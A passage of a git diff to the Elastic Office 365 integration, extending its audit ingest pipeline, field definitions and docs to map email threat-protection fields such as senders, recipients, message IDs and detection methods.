+ "P2Sender": "sender@example.com",
+ "Policy": "AntiMalware",
+ "PolicyAction": "Quarantine",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "RecordType": "28",
+ "SenderIp": "81.2.69.144",
+ "Subject": "2021-12-31",
+ "UserId": "ThreatIntel",
+ "UserKey": "ThreatIntel",
+ "UserType": "4",
+ "Verdict": "Malware",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "ip": [
+ "81.2.69.144"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "id": "ThreatIntel"
+ }
+ }
+ ]
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-yammer-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-yammer-events.json-expected.json
index 3c26e9a6709..a137bd49e12 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-yammer-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-yammer-events.json-expected.json
@@ -167,4 +167,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/elasticsearch/ingest_pipeline/default.yml b/packages/o365/data_stream/audit/elasticsearch/ingest_pipeline/default.yml
index a3c16274159..45ef9707c49 100644
--- a/packages/o365/data_stream/audit/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/o365/data_stream/audit/elasticsearch/ingest_pipeline/default.yml
@@ -250,6 +250,13 @@ processors:
field: o365audit.Parameters
target_field: o365audit.Parameters._raw
if: 'ctx.o365audit?.Parameters != null && ctx.o365audit?.Parameters instanceof String'
+ - grok:
+ field: o365audit.Parameters._raw
+ if: ctx.o365audit?.NetworkMessageId == null || ctx.o365audit.NetworkMessageId == ''
+ patterns:
+ - '^-?Identity\s"?%{DATA:o365audit.NetworkMessageId}"?$'
+ ignore_missing: true
+ ignore_failure: true
- script:
if: ctx.o365audit?.Platform != null
lang: painless
@@ -1116,6 +1123,13 @@ processors:
field: o365audit.UserType
type: string
ignore_missing: true
+ - set:
+ field: event.provider
+ description: UserType contains info about event.provider and not user. Populate event.provider if not already present.
+ value: "{{{o365audit.UserType}}}"
+ if: ctx.event?.provider == null && ctx.o365audit?.UserType != null && ctx.o365audit.UserType != ''
+ tag: set_event_provider
+ ignore_empty_value: true
- foreach:
field: o365audit.Actor
if: ctx.o365audit?.Actor instanceof List
@@ -1154,6 +1168,88 @@ processors:
field: o365audit.YammerNetworkId
type: string
ignore_missing: true
+ - append:
+ field: email.message_id
+ value: "{{{o365audit.InternetMessageId}}}"
+ if: ctx.o365audit?.InternetMessageId != null && ctx.o365audit.InternetMessageId != ''
+ tag: append_email_message_id_1
+ allow_duplicates: false
+ - append:
+ field: email.local_id
+ value: "{{{o365audit.NetworkMessageId}}}"
+ if: ctx.o365audit?.NetworkMessageId != null && ctx.o365audit.NetworkMessageId != ''
+ tag: append_email_local_id_1
+ allow_duplicates: false
+ - append:
+ field: email.sender.address
+ value: "{{{o365audit.P1Sender}}}"
+ if: ctx.o365audit?.P1Sender != null && ctx.o365audit.P1Sender != ''
+ tag: append_email_sender_address_1
+ allow_duplicates: false
+ - set:
+ field: email.to.address
+ copy_from: o365audit.Recipients
+ if: ctx.o365audit?.Recipients instanceof List && ctx.o365audit.Recipients.length > 0
+ tag: set_email_to_address_1
+ ignore_empty_value: true
+ - append:
+ field: related.ip
+ value: "{{{o365audit.SenderIp}}}"
+ allow_duplicates: false
+ if: ctx.o365audit?.SenderIp != null && ctx.o365audit.SenderIp != ''
+ - append:
+ field: related.ip
+ value: "{{{o365audit.SenderIP}}}"
+ allow_duplicates: false
+ if: ctx.o365audit?.SenderIP != null && ctx.o365audit.SenderIP != ''
+ - append:
+ field: email.subject
+ value: "{{{o365audit.Subject}}}"
+ if: ctx.o365audit?.Subject != null && ctx.o365audit.Subject != ''
+ tag: append_email_subject_1
+ allow_duplicates: false
+ - date:
+ field: o365audit.EndTimeUtc
+ target_field: o365audit.EndTimeUtc
+ tag: date_EndTimeUtc
+ formats:
+ - ISO8601
+ if: ctx.o365audit?.EndTimeUtc != null
+ - date:
+ field: o365audit.LastUpdateTimeUtc
+ target_field: o365audit.LastUpdateTimeUtc
+ tag: date_LastUpdateTimeUtc
+ formats:
+ - ISO8601
+ if: ctx.o365audit?.LastUpdateTimeUtc != null
+ - date:
+ field: o365audit.StartTimeUtc
+ target_field: o365audit.StartTimeUtc
+ tag: date_StartTimeUtc
+ formats:
+ - ISO8601
+ if: ctx.o365audit?.StartTimeUtc != null
+ - date:
+ field: o365audit.StartTime
+ target_field: o365audit.StartTime
+ tag: date_StartTime
+ formats:
+ - ISO8601
+ if: ctx.o365audit?.StartTime != null
+ - date:
+ field: o365audit.FilteringDate
+ target_field: o365audit.FilteringDate
+ tag: date_FilteringDate
+ formats:
+ - ISO8601
+ if: ctx.o365audit?.FilteringDate != null
+ - date:
+ field: o365audit.RescanResult.Timestamp
+ target_field: o365audit.RescanResult.Timestamp
+ tag: date_RescanResult.Timestamp
+ formats:
+ - ISO8601
+ if: ctx.o365audit?.RescanResult?.Timestamp != null
- gsub:
field: o365audit.Data
pattern: ',\"QueryTime\":\"[0-9\/]+\s[0-9]+:[0-9]+:[0-9]+\s[AP]M\"|\"QueryTime\":\"[0-9\/]+\s[0-9]+:[0-9]+:[0-9]+\s[AP]M\",'
@@ -1175,6 +1271,7 @@ processors:
- script:
description: Copy known Data fields to their explicity mapped locations
lang: painless
+ tag: script_known_Data
if: 'ctx.o365audit?.Data?.flattened instanceof Map'
source: >
def knownKeys = ['ad', 'af', 'aii', 'ail', 'alk', 'als', 'an', 'at',
@@ -1228,21 +1325,186 @@ processors:
value: "{{{o365audit.Data.f3u}}}"
allow_duplicates: false
if: ctx.o365audit?.Data?.f3u?.splitOnToken('@')?.length == 2 && ctx.o365audit.Data.f3u.length() >= 3;
+ - set:
+ field: user.email
+ value: "{{{o365audit.Data.f3u}}}"
+ if: ctx.user?.email == null && ctx.o365audit?.Data?.f3u?.splitOnToken('@')?.length == 2 && ctx.o365audit.Data.f3u.length() >= 3;
+ tag: set_user_email
+ ignore_empty_value: true
- append:
field: related.user
value: "{{{o365audit.Data.suid}}}"
allow_duplicates: false
if: ctx.o365audit?.Data?.suid?.splitOnToken('@')?.length == 2 && ctx.o365audit.Data.suid.length() >= 3;
+ - append:
+ field: email.sender.address
+ value: "{{{o365audit.Data.tsd}}}"
+ if: ctx.o365audit?.Data?.tsd != null && ctx.o365audit.Data.tsd != ''
+ tag: append_email_sender_address_2
+ allow_duplicates: false
- append:
field: related.user
value: "{{{o365audit.Data.tsd}}}"
allow_duplicates: false
if: ctx.o365audit?.Data?.tsd?.splitOnToken('@')?.length == 2 && ctx.o365audit.Data.tsd.length() >= 3;
+ - append:
+ field: email.to.address
+ value: "{{{o365audit.Data.trc}}}"
+ if: ctx.o365audit?.Data?.trc != null && ctx.o365audit.Data.trc != ''
+ tag: append_email_to_address
+ allow_duplicates: false
- append:
field: related.user
value: "{{{o365audit.Data.trc}}}"
allow_duplicates: false
if: ctx.o365audit?.Data?.trc?.splitOnToken('@')?.length == 2 && ctx.o365audit.Data.trc.length() >= 3;
+ - append:
+ field: email.local_id
+ value: "{{{o365audit.Data.aii}}}"
+ if: ctx.o365audit?.Data?.aii != null && ctx.o365audit.Data.aii != ''
+ tag: append_email_local_id_2
+ allow_duplicates: false
+ - append:
+ field: email.message_id
+ value: "{{{o365audit.Data.imsgid}}}"
+ if: ctx.o365audit?.Data?.imsgid != null && ctx.o365audit.Data.imsgid != ''
+ tag: append_email_message_id_2
+ allow_duplicates: false
+ - append:
+ field: email.subject
+ value: "{{{o365audit.Data.ms}}}"
+ if: ctx.o365audit?.Data?.ms != null && ctx.o365audit.Data.ms != ''
+ tag: append_email_subject_2
+ allow_duplicates: false
+ - script:
+ description: Parse known fields from Data.Entities into _tmp.entities to later extract into ECS.
+ lang: painless
+ tag: script_known_Data.Entities
+ if: ctx.o365audit?.Data?.flattened?.Entities instanceof List
+ source: >
+ ctx._tmp = [:];
+ ctx._tmp.entities = [:];
+ def knownEntityKeys = ['InternetMessageId', 'NetworkMessageId', 'OriginalDeliveryLocation',
+ 'P1Sender', 'P2Sender', 'PhishConfidenceLevel', 'Recipient', 'SenderIP', 'Subject',
+ 'ThreatDetectionMethods', 'Upn'];
+ for (def entity: ctx.o365audit.Data.flattened.Entities) {
+ if (entity instanceof Map) {
+ for (def key : knownEntityKeys) {
+ if (! ctx._tmp.entities.containsKey(key)) {
+ ctx._tmp.entities[key] = [];
+ }
+ if (entity.containsKey(key)) {
+ ctx._tmp.entities[key].add(entity[key]);
+ }
+ }
+ }
+ }
+ # Extract _tmp.entities into ECS fields
+ - foreach:
+ field: _tmp.entities.InternetMessageId
+ if: ctx._tmp?.entities?.InternetMessageId instanceof List
+ processor:
+ append:
+ field: email.message_id
+ value: "{{{_ingest._value}}}"
+ tag: append_entities.InternetMessageId_email.message_id
+ allow_duplicates: false
+ - foreach:
+ field: _tmp.entities.NetworkMessageId
+ if: ctx._tmp?.entities?.NetworkMessageId instanceof List
+ processor:
+ append:
+ field: email.local_id
+ value: "{{{_ingest._value}}}"
+ tag: append_entities.NetworkMessageId_email.local_id
+ allow_duplicates: false
+ - foreach:
+ field: _tmp.entities.P1Sender
+ if: ctx._tmp?.entities?.P1Sender instanceof List
+ processor:
+ append:
+ field: email.sender.address
+ value: "{{{_ingest._value}}}"
+ tag: append_entities.P1Sender_email.sender.address
+ allow_duplicates: false
+ - foreach:
+ field: _tmp.entities.P2Sender
+ if: ctx._tmp?.entities?.P2Sender instanceof List
+ processor:
+ append:
+ field: email.from.address
+ value: "{{{_ingest._value}}}"
+ tag: append_entities.P2Sender_email.from.address
+ allow_duplicates: false
+ - foreach:
+ field: _tmp.entities.Recipient
+ if: ctx._tmp?.entities?.Recipient instanceof List
+ processor:
+ append:
+ field: email.to.address
+ value: "{{{_ingest._value}}}"
+ tag: append_entities.Recipient_email.to.address
+ allow_duplicates: false
+ - set:
+ field: user.email
+ copy_from: _tmp.entities.Recipient
+ if: ctx.user?.email == null && ctx._tmp?.entities?.Recipient instanceof List && ctx._tmp.entities.Recipient.length > 0
+ ignore_empty_value: true
+ - foreach:
+ field: _tmp.entities.SenderIP
+ if: ctx._tmp?.entities?.SenderIP instanceof List
+ processor:
+ append:
+ field: related.ip
+ value: "{{{_ingest._value}}}"
+ tag: append_entities.SenderIP_related.ip
+ allow_duplicates: false
+ - foreach:
+ field: _tmp.entities.Subject
+ if: ctx._tmp?.entities?.Subject instanceof List
+ processor:
+ append:
+ field: email.subject
+ value: "{{{_ingest._value}}}"
+ tag: append_entities.Subject_email.subject
+ allow_duplicates: false
+ - foreach:
+ field: _tmp.entities.Upn
+ if: ctx._tmp?.entities?.Upn instanceof List
+ processor:
+ append:
+ field: related.user
+ value: "{{{_ingest._value}}}"
+ tag: append_entities.Upn_related.user
+ allow_duplicates: false
+ - rename:
+ field: _tmp.entities.OriginalDeliveryLocation
+ target_field: o365audit.OriginalDeliveryLocation
+ tag: rename_entities.OriginalDeliveryLocation
+ ignore_missing: true
+ - rename:
+ field: _tmp.entities.PhishConfidenceLevel
+ target_field: o365audit.PhishConfidenceLevel
+ tag: rename_entities.PhishConfidenceLevel
+ ignore_missing: true
+ - script:
+ description: Handle _tmp.entities.ThreatDetectionMethods containing list of lists.
+ lang: painless
+ tag: script_tmp.entities.ThreatDetectionMethods
+ if: ctx._tmp?.entities?.ThreatDetectionMethods instanceof List
+ source: >
+ def methods = ctx._tmp.entities.ThreatDetectionMethods;
+ def result = [];
+ for (def method: methods){
+ if (method instanceof List) {
+ for (def m: method) {
+ result.add(m);
+ }
+ } else if (method instanceof String) {
+ result.add(method);
+ }
+ }
+ ctx.o365audit.ThreatDetectionMethods = result;
- rename:
field: o365audit
target_field: o365.audit
@@ -1275,7 +1537,34 @@ processors:
- remove:
field:
- _conf
+ - _tmp
ignore_missing: true
+ - script:
+ description: Drops null/empty values recursively.
+ lang: painless
+ source: |
+ boolean dropEmptyFields(Object object) {
+ if (object == null || object == '') {
+ return true;
+ } else if (object instanceof Map) {
+ ((Map) object).values().removeIf(value -> dropEmptyFields(value));
+ return (((Map) object).size() == 0);
+ } else if (object instanceof List) {
+ ((List) object).removeIf(value -> dropEmptyFields(value));
+ return (((List) object).length == 0);
+ }
+ return false;
+ }
+ dropEmptyFields(ctx);
+ - set:
+ field: event.kind
+ value: pipeline_error
+ if: ctx.error?.message != null
+ - append:
+ field: tags
+ value: preserve_original_event
+ allow_duplicates: false
+ if: ctx.error?.message != null
on_failure:
- set:
field: event.kind
@@ -1286,4 +1575,7 @@ on_failure:
allow_duplicates: false
- append:
field: error.message
- value: '{{{ _ingest.on_failure_message }}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
diff --git a/packages/o365/data_stream/audit/fields/fields.yml b/packages/o365/data_stream/audit/fields/fields.yml
index 904f2a980f1..c3f97bd6ec2 100644
--- a/packages/o365/data_stream/audit/fields/fields.yml
+++ b/packages/o365/data_stream/audit/fields/fields.yml
@@ -1,6 +1,10 @@
- name: o365.audit
type: group
fields:
+ - name: AadAppId
+ type: keyword
+ - name: Actions
+ type: flattened
- name: Activity
type: keyword
- name: Actor
@@ -18,10 +22,21 @@
type: keyword
- name: ActorYammerUserId
type: keyword
+ - name: AdditionalData
+ type: nested
+ fields:
+ - name: Name
+ type: keyword
+ - name: Value
+ type: keyword
- name: AdditionalInfo.*
type: object
object_type: keyword
object_type_mapping_type: '*'
+ - name: AirAdminActionSource
+ type: keyword
+ - name: AirAdminActionType
+ type: keyword
- name: AlertEntityId
type: keyword
- name: AlertId
@@ -40,37 +55,54 @@
type: keyword
- name: ApplicationId
type: keyword
- - name: AzureActiveDirectoryEventType
+ - name: Approver
type: keyword
- - name: ExchangeMetaData
- type: group
+ - name: AttachmentData
+ type: nested
fields:
- - name: CC
+ - name: FileName
type: keyword
- - name: MessageID
+ - name: FileType
type: keyword
- - name: Sent
- type: date
- - name: To
+ - name: FileVerdict
type: keyword
- - name: UniqueID
+ - name: MalwareFamily
type: keyword
- - name: "*"
- type: long
+ - name: SHA256
+ type: keyword
+ - name: AuthDetails
+ type: nested
+ fields:
+ - name: Name
+ type: keyword
+ - name: Value
+ type: keyword
+ - name: AzureActiveDirectoryEventType
+ type: keyword
+ - name: BCLValue
+ type: keyword
+ - name: BulkApprovalId
+ type: keyword
- name: Category
type: keyword
- name: ClientAppId
type: keyword
- - name: ClientInfoString
+ - name: ClientApplication
type: keyword
- name: ClientIP
type: keyword
- name: ClientIPAddress
type: keyword
+ - name: ClientInfoString
+ type: keyword
- name: ClientRequestId
type: keyword
+ - name: CmdletVersion
+ type: keyword
- name: Comments
type: text
+ - name: Connector
+ type: keyword
- name: CorrelationId
type: keyword
- name: CreationTime
@@ -203,12 +235,32 @@
type: keyword
- name: DataType
type: keyword
+ - name: DatabaseType
+ type: keyword
+ - name: DeepLinkUrl
+ type: keyword
+ - name: DeliveryAction
+ type: keyword
+ - name: Description
+ type: match_only_text
+ - name: DetectionMethod
+ type: keyword
+ - name: DetectionType
+ type: keyword
+ - name: Directionality
+ type: keyword
+ - name: EffectiveOrganization
+ type: keyword
+ - name: EndTimeUtc
+ type: date
- name: EntityType
type: keyword
- name: ErrorNumber
type: keyword
- name: EventData
type: keyword
+ - name: EventDeepLink
+ type: keyword
- name: EventSource
type: keyword
- name: ExceptionInfo.*
@@ -217,6 +269,21 @@
# not expressible here; object_type_mapping_type cannot be 'boolean'.
object_type: keyword
object_type_mapping_type: '*'
+ - name: ExchangeMetaData
+ type: group
+ fields:
+ - name: CC
+ type: keyword
+ - name: MessageID
+ type: keyword
+ - name: Sent
+ type: date
+ - name: To
+ type: keyword
+ - name: UniqueID
+ type: keyword
+ - name: "*"
+ type: long
- name: Experience
type: keyword
- name: ExtendedProperties.RequestType
@@ -229,6 +296,8 @@
type: boolean
- name: FileSizeBytes
type: long
+ - name: FilteringDate
+ type: date
- name: GroupName
type: keyword
- name: Id
@@ -237,12 +306,29 @@
type: keyword
- name: IncidentId
type: keyword
- - name: InternalLogonType
+ - name: InsightData
+ type: group
+ fields:
+ - name: Type
+ type: keyword
+ - name: InsightId
type: keyword
- name: InterSystemsId
type: keyword
+ - name: InternalLogonType
+ type: keyword
+ - name: InternetMessageId
+ type: keyword
- name: IntraSystemId
type: keyword
+ - name: InvestigationId
+ type: keyword
+ - name: InvestigationName
+ type: keyword
+ - name: InvestigationType
+ type: keyword
+ - name: InvestigationUrn
+ type: keyword
- name: Item.*
type: object
object_type: keyword
@@ -255,6 +341,14 @@
type: keyword
- name: ItemType
type: keyword
+ - name: KesMailId
+ type: keyword
+ - name: Language
+ type: keyword
+ - name: LastUpdateTimeUtc
+ type: date
+ - name: LatestDeliveryLocation
+ type: keyword
- name: ListBaseType
type: keyword
- name: ListId
@@ -277,6 +371,10 @@
type: keyword
- name: Members
type: flattened
+ - name: MessageDate
+ type: keyword
+ - name: MessageTime
+ type: keyword
- name: ModifiedProperties.Role_DisplayName.NewValue
type: keyword
- name: ModifiedProperties.*.*
@@ -285,8 +383,12 @@
object_type_mapping_type: '*'
- name: Name
type: keyword
+ - name: NetworkMessageId
+ type: keyword
- name: NewValue
type: keyword
+ - name: NonPIIParameters
+ type: keyword
- name: ObjectDisplayName
type: keyword
- name: ObjectId
@@ -305,8 +407,18 @@
type: keyword
- name: OrganizationName
type: keyword
+ - name: OriginalDeliveryLocation
+ type: keyword
- name: OriginatingServer
type: keyword
+ - name: P1Sender
+ type: keyword
+ - name: P1SenderDomain
+ type: keyword
+ - name: P2Sender
+ type: keyword
+ - name: P2SenderDomain
+ type: keyword
- name: Parameters.AccessRights
type: keyword
- name: Parameters.AllowFederatedUsers
@@ -325,29 +437,58 @@
type: object
object_type: keyword
object_type_mapping_type: '*'
+ - name: PhishConfidenceLevel
+ type: keyword
- name: Platform
type: keyword
+ - name: Policy
+ type: keyword
+ - name: PolicyAction
+ type: keyword
- name: PolicyDetails
type: flattened
- name: PolicyId
type: keyword
+ - name: Recipients
+ type: keyword
- name: RecordType
type: keyword
- - name: ResultStatus
+ - name: RelativeUrl
type: keyword
- name: RequestId
type: keyword
+ - name: RescanResult
+ type: group
+ fields:
+ - name: Id
+ type: keyword
+ - name: RescanVerdict
+ type: keyword
+ - name: Timestamp
+ type: keyword
+ - name: ResultCount
+ type: keyword
+ - name: ResultStatus
+ type: keyword
+ - name: RunningTime
+ type: keyword
+ - name: SecurityComplianceCenterEventType
+ type: keyword
+ - name: SenderIP
+ type: keyword
+ - name: SenderIp
+ type: keyword
- name: SensitiveInfoDetectionIsIncluded
type: boolean
+ - name: SessionId
+ type: keyword
+ - name: Severity
+ type: keyword
- name: SharePointMetaData.*
type: object
# This object may contain date formatted fields, but we do not ensure validity, so leave as keyword.
object_type: keyword
object_type_mapping_type: '*'
- - name: SessionId
- type: keyword
- - name: Severity
- type: keyword
- name: Site
type: keyword
- name: SiteUrl
@@ -360,10 +501,45 @@
type: keyword
- name: SourceRelativeUrl
type: keyword
+ - name: StartTime
+ type: keyword
+ - name: StartTimeUtc
+ type: keyword
- name: Status
type: keyword
+ - name: SubAirAdminActionTypeMail
+ type: keyword
+ - name: Subject
+ type: keyword
+ - name: SubmissionConfidenceLevel
+ type: keyword
+ - name: SubmissionContentSubType
+ type: keyword
+ - name: SubmissionContentType
+ type: keyword
+ - name: SubmissionId
+ type: keyword
+ - name: SubmissionState
+ type: keyword
+ - name: SubmissionType
+ type: keyword
+ - name: Submitter
+ type: keyword
+ - name: SubmitterId
+ type: keyword
- name: SupportTicketId
type: keyword
+ - name: SystemOverrides
+ type: group
+ fields:
+ - name: Details
+ type: keyword
+ - name: FinalOverride
+ type: keyword
+ - name: Result
+ type: keyword
+ - name: Source
+ type: keyword
- name: Target
type: group
fields:
@@ -377,9 +553,11 @@
type: keyword
- name: TargetUserOrGroupType
type: keyword
+ - name: TeamGuid
+ type: keyword
- name: TeamName
type: keyword
- - name: TeamGuid
+ - name: ThreatDetectionMethods
type: keyword
- name: Timestamp
type: keyword
@@ -393,6 +571,8 @@
type: keyword
- name: UserType
type: keyword
+ - name: Verdict
+ type: keyword
- name: Version
type: keyword
- name: WebId
diff --git a/packages/o365/docs/README.md b/packages/o365/docs/README.md
index 0629e442515..505d8999e72 100644
--- a/packages/o365/docs/README.md
+++ b/packages/o365/docs/README.md
@@ -190,6 +190,8 @@ An example event for `audit` looks as following:
| input.type | Type of Filebeat input. | keyword |
| log.flags | Flags for the log file. | keyword |
| log.offset | Offset of the entry in the log file. | long |
+| o365.audit.AadAppId | | keyword |
+| o365.audit.Actions | | flattened |
| o365.audit.Activity | | keyword |
| o365.audit.Actor.ID | | keyword |
| o365.audit.Actor.Type | | keyword |
@@ -197,7 +199,11 @@ An example event for `audit` looks as following:
| o365.audit.ActorIpAddress | | keyword |
| o365.audit.ActorUserId | | keyword |
| o365.audit.ActorYammerUserId | | keyword |
+| o365.audit.AdditionalData.Name | | keyword |
+| o365.audit.AdditionalData.Value | | keyword |
| o365.audit.AdditionalInfo.\* | | object |
+| o365.audit.AirAdminActionSource | | keyword |
+| o365.audit.AirAdminActionType | | keyword |
| o365.audit.AlertEntityId | | keyword |
| o365.audit.AlertId | | keyword |
| o365.audit.AlertLinks | | flattened |
@@ -206,14 +212,27 @@ An example event for `audit` looks as following:
| o365.audit.AppId | | keyword |
| o365.audit.ApplicationDisplayName | | keyword |
| o365.audit.ApplicationId | | keyword |
+| o365.audit.Approver | | keyword |
+| o365.audit.AttachmentData.FileName | | keyword |
+| o365.audit.AttachmentData.FileType | | keyword |
+| o365.audit.AttachmentData.FileVerdict | | keyword |
+| o365.audit.AttachmentData.MalwareFamily | | keyword |
+| o365.audit.AttachmentData.SHA256 | | keyword |
+| o365.audit.AuthDetails.Name | | keyword |
+| o365.audit.AuthDetails.Value | | keyword |
| o365.audit.AzureActiveDirectoryEventType | | keyword |
+| o365.audit.BCLValue | | keyword |
+| o365.audit.BulkApprovalId | | keyword |
| o365.audit.Category | | keyword |
| o365.audit.ClientAppId | | keyword |
+| o365.audit.ClientApplication | | keyword |
| o365.audit.ClientIP | | keyword |
| o365.audit.ClientIPAddress | | keyword |
| o365.audit.ClientInfoString | | keyword |
| o365.audit.ClientRequestId | | keyword |
+| o365.audit.CmdletVersion | | keyword |
| o365.audit.Comments | | text |
+| o365.audit.Connector | | keyword |
| o365.audit.CorrelationId | | keyword |
| o365.audit.CreationTime | | keyword |
| o365.audit.CustomUniqueId | | boolean |
@@ -278,9 +297,19 @@ An example event for `audit` looks as following:
| o365.audit.Data.zmfn | | keyword |
| o365.audit.Data.zu | | keyword |
| o365.audit.DataType | | keyword |
+| o365.audit.DatabaseType | | keyword |
+| o365.audit.DeepLinkUrl | | keyword |
+| o365.audit.DeliveryAction | | keyword |
+| o365.audit.Description | | match_only_text |
+| o365.audit.DetectionMethod | | keyword |
+| o365.audit.DetectionType | | keyword |
+| o365.audit.Directionality | | keyword |
+| o365.audit.EffectiveOrganization | | keyword |
+| o365.audit.EndTimeUtc | | date |
| o365.audit.EntityType | | keyword |
| o365.audit.ErrorNumber | | keyword |
| o365.audit.EventData | | keyword |
+| o365.audit.EventDeepLink | | keyword |
| o365.audit.EventSource | | keyword |
| o365.audit.ExceptionInfo.\* | | object |
| o365.audit.ExchangeMetaData.\* | | long |
@@ -294,17 +323,29 @@ An example event for `audit` looks as following:
| o365.audit.ExtendedProperties.RequestType | | keyword |
| o365.audit.ExternalAccess | | boolean |
| o365.audit.FileSizeBytes | | long |
+| o365.audit.FilteringDate | | date |
| o365.audit.GroupName | | keyword |
| o365.audit.Id | | keyword |
| o365.audit.ImplicitShare | | keyword |
| o365.audit.IncidentId | | keyword |
+| o365.audit.InsightData.Type | | keyword |
+| o365.audit.InsightId | | keyword |
| o365.audit.InterSystemsId | | keyword |
| o365.audit.InternalLogonType | | keyword |
+| o365.audit.InternetMessageId | | keyword |
| o365.audit.IntraSystemId | | keyword |
+| o365.audit.InvestigationId | | keyword |
+| o365.audit.InvestigationName | | keyword |
+| o365.audit.InvestigationType | | keyword |
+| o365.audit.InvestigationUrn | | keyword |
| o365.audit.Item.\* | | object |
| o365.audit.Item.\*.\* | | object |
| o365.audit.ItemName | | keyword |
| o365.audit.ItemType | | keyword |
+| o365.audit.KesMailId | | keyword |
+| o365.audit.Language | | keyword |
+| o365.audit.LastUpdateTimeUtc | | date |
+| o365.audit.LatestDeliveryLocation | | keyword |
| o365.audit.ListBaseType | | keyword |
| o365.audit.ListId | | keyword |
| o365.audit.ListItemUniqueId | | keyword |
@@ -316,10 +357,14 @@ An example event for `audit` looks as following:
| o365.audit.MailboxOwnerSid | | keyword |
| o365.audit.MailboxOwnerUPN | | keyword |
| o365.audit.Members | | flattened |
+| o365.audit.MessageDate | | keyword |
+| o365.audit.MessageTime | | keyword |
| o365.audit.ModifiedProperties.\*.\* | | object |
| o365.audit.ModifiedProperties.Role_DisplayName.NewValue | | keyword |
| o365.audit.Name | | keyword |
+| o365.audit.NetworkMessageId | | keyword |
| o365.audit.NewValue | | keyword |
+| o365.audit.NonPIIParameters | | keyword |
| o365.audit.ObjectDisplayName | | keyword |
| o365.audit.ObjectId | | keyword |
| o365.audit.ObjectType | | keyword |
@@ -328,7 +373,12 @@ An example event for `audit` looks as following:
| o365.audit.OperationProperties | | object |
| o365.audit.OrganizationId | | keyword |
| o365.audit.OrganizationName | | keyword |
+| o365.audit.OriginalDeliveryLocation | | keyword |
| o365.audit.OriginatingServer | | keyword |
+| o365.audit.P1Sender | | keyword |
+| o365.audit.P1SenderDomain | | keyword |
+| o365.audit.P2Sender | | keyword |
+| o365.audit.P2SenderDomain | | keyword |
| o365.audit.Parameters.\* | | object |
| o365.audit.Parameters.AccessRights | | keyword |
| o365.audit.Parameters.AllowFederatedUsers | | keyword |
@@ -337,12 +387,25 @@ An example event for `audit` looks as following:
| o365.audit.Parameters.ForwardAsAttachmentTo | | keyword |
| o365.audit.Parameters.ForwardTo | | keyword |
| o365.audit.Parameters.RedirectTo | | keyword |
+| o365.audit.PhishConfidenceLevel | | keyword |
| o365.audit.Platform | | keyword |
+| o365.audit.Policy | | keyword |
+| o365.audit.PolicyAction | | keyword |
| o365.audit.PolicyDetails | | flattened |
| o365.audit.PolicyId | | keyword |
+| o365.audit.Recipients | | keyword |
| o365.audit.RecordType | | keyword |
+| o365.audit.RelativeUrl | | keyword |
| o365.audit.RequestId | | keyword |
+| o365.audit.RescanResult.Id | | keyword |
+| o365.audit.RescanResult.RescanVerdict | | keyword |
+| o365.audit.RescanResult.Timestamp | | keyword |
+| o365.audit.ResultCount | | keyword |
| o365.audit.ResultStatus | | keyword |
+| o365.audit.RunningTime | | keyword |
+| o365.audit.SecurityComplianceCenterEventType | | keyword |
+| o365.audit.SenderIP | | keyword |
+| o365.audit.SenderIp | | keyword |
| o365.audit.SensitiveInfoDetectionIsIncluded | | boolean |
| o365.audit.SessionId | | keyword |
| o365.audit.Severity | | keyword |
@@ -353,8 +416,24 @@ An example event for `audit` looks as following:
| o365.audit.SourceFileExtension | | keyword |
| o365.audit.SourceFileName | | keyword |
| o365.audit.SourceRelativeUrl | | keyword |
+| o365.audit.StartTime | | keyword |
+| o365.audit.StartTimeUtc | | keyword |
| o365.audit.Status | | keyword |
+| o365.audit.SubAirAdminActionTypeMail | | keyword |
+| o365.audit.Subject | | keyword |
+| o365.audit.SubmissionConfidenceLevel | | keyword |
+| o365.audit.SubmissionContentSubType | | keyword |
+| o365.audit.SubmissionContentType | | keyword |
+| o365.audit.SubmissionId | | keyword |
+| o365.audit.SubmissionState | | keyword |
+| o365.audit.SubmissionType | | keyword |
+| o365.audit.Submitter | | keyword |
+| o365.audit.SubmitterId | | keyword |
| o365.audit.SupportTicketId | | keyword |
+| o365.audit.SystemOverrides.Details | | keyword |
+| o365.audit.SystemOverrides.FinalOverride | | keyword |
+| o365.audit.SystemOverrides.Result | | keyword |
+| o365.audit.SystemOverrides.Source | | keyword |
| o365.audit.Target.ID | | keyword |
| o365.audit.Target.Type | | keyword |
| o365.audit.TargetContextId | | keyword |
@@ -362,12 +441,14 @@ An example event for `audit` looks as following:
| o365.audit.TargetUserOrGroupType | | keyword |
| o365.audit.TeamGuid | | keyword |
| o365.audit.TeamName | | keyword |
+| o365.audit.ThreatDetectionMethods | | keyword |
| o365.audit.Timestamp | | keyword |
| o365.audit.UniqueSharingId | | keyword |
| o365.audit.UserAgent | | keyword |
| o365.audit.UserId | | keyword |
| o365.audit.UserKey | | keyword |
| o365.audit.UserType | | keyword |
+| o365.audit.Verdict | | keyword |
| o365.audit.Version | | keyword |
| o365.audit.WebId | | keyword |
| o365.audit.Workload | | keyword |
diff --git a/packages/o365/manifest.yml b/packages/o365/manifest.yml
index be7fb2f77f9..dd737e1c410 100644
--- a/packages/o365/manifest.yml
+++ b/packages/o365/manifest.yml
@@ -1,6 +1,6 @@
name: o365
title: Microsoft Office 365
-version: "2.9.0"
+version: "2.10.0"
description: Collect logs from Microsoft Office 365 with Elastic Agent.
type: integration
format_version: "3.0.2"
diff --git a/packages/openai/_dev/build/docs/README.md b/packages/openai/_dev/build/docs/README.md
index 4de2ffb8528..ee44a1c515b 100644
--- a/packages/openai/_dev/build/docs/README.md
+++ b/packages/openai/_dev/build/docs/README.md
@@ -39,7 +39,65 @@ To generate an Admin key, please generate a key or use an existing one from the
